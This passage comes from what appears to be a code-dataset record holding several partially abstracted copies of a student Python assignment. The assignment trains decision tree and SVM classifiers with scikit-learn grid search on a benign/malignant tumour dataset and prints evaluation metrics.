file_as_array[:, 2:]\n y = np.zeros_like(file_as_array[:, 1], dtype=int)\n for i in range(len(y)):\n y[i] = file_as_array[i, 1] == 'M'\n return X, y\n\n\n<function token>\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\ndef print_grid_search_report(grid):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n grid: a GridSearchCV object scored by accuracy, roc_auc, precision and \n recall, that has been fitted and therefore is available for \n access through cv_results_\n \n @return:\n None. Print to console. \n \"\"\"\n r = grid.cv_results_\n i = grid.best_index_\n score_grid = clf.scoring\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print(\n \"Based on validation {} scores, the best value for hyperparameter '{}' is:\\n{}\"\n .format(grid.refit, list(grid.best_params_.keys())[0], list(grid.\n best_params_.values())[0]))\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', r[\n 'mean_train_%s' % metric][i], r['mean_test_%s' % metric][i]))\n print('\\nMean fit time: {:.6f} seconds'.format(r['mean_fit_time'][i]))\n print('Mean score time: {:.6f} seconds'.format(r['mean_score_time'][i]))\n\n\ndef plot_grid_search_results(clf):\n param_name = list(clf.param_grid.keys())[0]\n param_vals = list(clf.param_grid.values())[0]\n metrics = clf.scoring\n score_grid = []\n for name in metrics:\n score_grid.append(clf.cv_results_['mean_test_%s' % name])\n p = plt\n idx = 0\n for scores in score_grid:\n p.plot(param_vals, scores, '-', label=metrics[idx])\n idx += 1\n p.title('Hyperparameter Optimization by Cross-Validation')\n p.xlabel(param_name + ' value')\n if param_name == 'gamma':\n p.xscale('log')\n p.ylabel('average test score')\n p.legend(loc='lower right')\n p.grid(True)\n p.show()\n\n\n<function token>\n\n\ndef print_clf_intro(name, params=None):\n \"\"\"\n Print a nice introduction to the classifier being tested and used.\n \n @param:\n name: string holding the name of the classifier type\n params: dict holding the name of the hyperparameter to be optimized\n \n @return:\n None. Print to console. \n \"\"\"\n print(\n '\\n\\n\\n\\n***************************************************************'\n )\n print('* {} CLASSIFIER'.format(name))\n if params is not None:\n print('\\nHyperparameter: ' + list(params.keys())[0])\n print('Values Tested: {} values from {} to {}'.format(len(list(\n params.values())[0]), min(list(params.values())[0]), max(list(\n params.values())[0])))\n print('\\nWorking...')\n\n\n<code token>\n", "<docstring token>\n<import token>\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\ndef prepare_dataset(dataset_path):\n \"\"\" \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n \"\"\"\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n X = np.zeros((num_examples, num_features - 1))\n X[:, 0] = file_as_array.copy()[:, 0]\n X[:, 1:] = file_as_array[:, 2:]\n y = np.zeros_like(file_as_array[:, 1], dtype=int)\n for i in range(len(y)):\n y[i] = file_as_array[i, 1] == 'M'\n return X, y\n\n\n<function token>\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\n<function token>\n\n\ndef plot_grid_search_results(clf):\n param_name = list(clf.param_grid.keys())[0]\n param_vals = list(clf.param_grid.values())[0]\n metrics = clf.scoring\n score_grid = []\n for name in metrics:\n score_grid.append(clf.cv_results_['mean_test_%s' % name])\n p = plt\n idx = 0\n for scores in score_grid:\n p.plot(param_vals, scores, '-', label=metrics[idx])\n idx += 1\n p.title('Hyperparameter Optimization by Cross-Validation')\n p.xlabel(param_name + ' value')\n if param_name == 'gamma':\n p.xscale('log')\n p.ylabel('average test score')\n p.legend(loc='lower right')\n p.grid(True)\n p.show()\n\n\n<function token>\n\n\ndef print_clf_intro(name, params=None):\n \"\"\"\n Print a nice introduction to the classifier being tested and used.\n \n @param:\n name: string holding the name of the classifier type\n params: dict holding the name of the hyperparameter to be optimized\n \n @return:\n None. Print to console. \n \"\"\"\n print(\n '\\n\\n\\n\\n***************************************************************'\n )\n print('* {} CLASSIFIER'.format(name))\n if params is not None:\n print('\\nHyperparameter: ' + list(params.keys())[0])\n print('Values Tested: {} values from {} to {}'.format(len(list(\n params.values())[0]), min(list(params.values())[0]), max(list(\n params.values())[0])))\n print('\\nWorking...')\n\n\n<code token>\n", "<docstring token>\n<import token>\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\ndef prepare_dataset(dataset_path):\n \"\"\" \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n \"\"\"\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n X = np.zeros((num_examples, num_features - 1))\n X[:, 0] = file_as_array.copy()[:, 0]\n X[:, 1:] = file_as_array[:, 2:]\n y = np.zeros_like(file_as_array[:, 1], dtype=int)\n for i in range(len(y)):\n y[i] = file_as_array[i, 1] == 'M'\n return X, y\n\n\n<function token>\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\n<function token>\n\n\ndef plot_grid_search_results(clf):\n param_name = list(clf.param_grid.keys())[0]\n param_vals = list(clf.param_grid.values())[0]\n metrics = clf.scoring\n score_grid = []\n for name in metrics:\n score_grid.append(clf.cv_results_['mean_test_%s' % name])\n p = plt\n idx = 0\n for scores in score_grid:\n p.plot(param_vals, scores, '-', label=metrics[idx])\n idx += 1\n p.title('Hyperparameter Optimization by Cross-Validation')\n p.xlabel(param_name + ' value')\n if param_name == 'gamma':\n p.xscale('log')\n p.ylabel('average test score')\n p.legend(loc='lower right')\n p.grid(True)\n p.show()\n\n\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\ndef prepare_dataset(dataset_path):\n \"\"\" \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n \"\"\"\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n X = np.zeros((num_examples, num_features - 1))\n X[:, 0] = file_as_array.copy()[:, 0]\n X[:, 1:] = file_as_array[:, 2:]\n y = np.zeros_like(file_as_array[:, 1], dtype=int)\n for i in range(len(y)):\n y[i] = file_as_array[i, 1] == 'M'\n return X, y\n\n\n<function token>\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<docstring token>\n<import token>\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\n<function token>\n<function token>\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\n<function token>\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), 